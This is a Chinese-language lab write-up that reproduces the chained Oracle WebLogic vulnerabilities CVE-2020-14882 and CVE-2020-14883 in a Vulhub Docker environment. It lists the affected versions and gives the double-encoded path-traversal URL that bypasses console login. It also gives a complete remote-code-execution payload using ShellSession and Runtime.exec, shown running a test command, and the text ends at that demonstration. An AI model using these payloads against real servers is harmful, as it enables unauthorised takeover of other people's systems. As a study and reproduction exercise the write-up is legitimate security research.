0x00 漏洞描述

WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。组合利用CVE-2020-14882/CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。

0x01 影响版本

  • Oracle Weblogic Server 10.3.6.0.0
  • Oracle Weblogic Server 12.1.3.0.0
  • Oracle Weblogic Server 12.2.1.3.0
  • Oracle Weblogic Server 12.2.1.4.0
  • Oracle Weblogic Server 14.1.1.0.0

0x02 漏洞复现

使用Vulhub的漏洞平台进行复现。

docker-compose up -d

docker搭建好后,访问[ip]:[port]/console显示后台登陆界面,搭建成功。

通过未授权访问漏洞可直接绕过验证进入后台。Payload:

http://[ip]:[port]/console/images/%252E%252E%252Fconsole.portal

注:这里的%252e%252e%252f即二次编码过后的../

此时的权限很低。我们已经成功复现了CVE-2020-14882,接下来结合它复现一哈CVE-2020-14883,达到任意代码执行的目的。

首先我以交互终端形式进入该容器,查看/tmp文件夹下的内容。

Payload:

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27你想执行的命令%27);%22);

我执行了touch /tmp/shawroot123,页面显示404:

但是实际上命令成功执行了: